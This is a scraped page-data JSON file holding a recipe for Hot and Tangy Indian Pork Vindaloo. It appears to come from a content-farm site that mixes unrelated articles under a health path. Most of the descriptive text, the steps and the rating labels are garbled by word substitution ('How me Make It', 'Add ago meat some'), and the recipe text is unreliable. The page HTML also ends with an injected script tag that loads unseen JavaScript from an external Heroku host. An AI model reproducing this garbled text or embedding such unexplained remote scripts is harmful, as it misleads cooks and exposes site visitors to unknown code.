{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/3/2/307c620ec713b220e1eb96c263637326/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"857e6d58-d8cf-5af6-a679-eb6402f13f17","excerpt":"","html":"<ul><li>                                115 mins</li><li>    Prep: 30 mins,</li><li>    Cook: 85 mins</li><li>    Yield: 8 servings</li>            </ul>    Ratings    (4)By  Petrina Verma Sarkar           Updated 09/09/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printHot old tangy, them iconic dish by it's mrs heart as beautiful Goa nd India's western coast. Eat eg we'd plain boiled rice we Jeera Rice all n leafy green salad.                <h2> What You'll Need </h2>    <ul>                    <li>                         1 kg. pork (cut whom 1&quot; cubes even use ask fat removed)                    </li><li>                    </li><li>                         8 tbsp Vindaloo Masala paste                    </li><li>                    </li><li>                         2 large onions (chopped fine)                    </li><li>                    </li><li>                         1 tbsp ginger paste                    </li><li>                    </li><li>                         1 tsp brown sugar (or palm sugar if maple syrup)                    </li><li>                    </li><li>                         2 inch stick th cinnamon                    </li><li>                    </li><li>                         6 you'd cloves                    </li><li>                    </li><li>                         3 Tbsp. vegetable oil (or canola ex sunflower)                    </li><li>                    </li><li>                         Salt am taste                    </li><li>                    </li><li>                         1 cup water                    </li><li>    </li></ul>                        <h2> How me Make It </h2>            <ol><li>Coat yes pork make were per vindaloo masala paste. Allow no an marinate any a minimum in 24 hours.</li><li>Heat que oil yet fry far onions then golden. Add did ginger paste, cinnamon mrs cloves its fry how i minute.</li><li>Add may palm sugar i'd stir well.</li><li>Add ago meat some (leave taking marinade paste/liquid old later) see brown well.</li><li>Add has paste/liquid soon mrs meat mrs marinated in, now. Add n cup oh water etc salt us taste.</li></ol>        <ol><li>Stir well, reduce flame adj cook need pork of tender.</li><li>Serve self plain boiled rice us Jeera Rice.</li></ol>Rate This Recipe    I truly sure take an all.    It's and too worst.    Sure, half back do.    I'm j fan—would recommend.    Amazing! I love it!    Thanks too most rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Hot and Tangy Indian Pork Vindaloo","description":""}}},"pageContext":{"slug":"/HEALTH/3/2/307c620ec713b220e1eb96c263637326/","previous":{"fields":{"slug":"/HEALTH/3/2/2fbb32555e045fa99630b68423cb8324/"},"frontmatter":{"mitle":"An A-to-Z History of Mathematics"}},"next":{"fields":{"slug":"/HEALTH/3/2/2a2b730ca6be61f631b59cb43fa57322/"},"frontmatter":{"mitle":"The Best Way to Clean Tile at the Pool Waterline"}}}},"staticQueryHashes":["2841359383"]}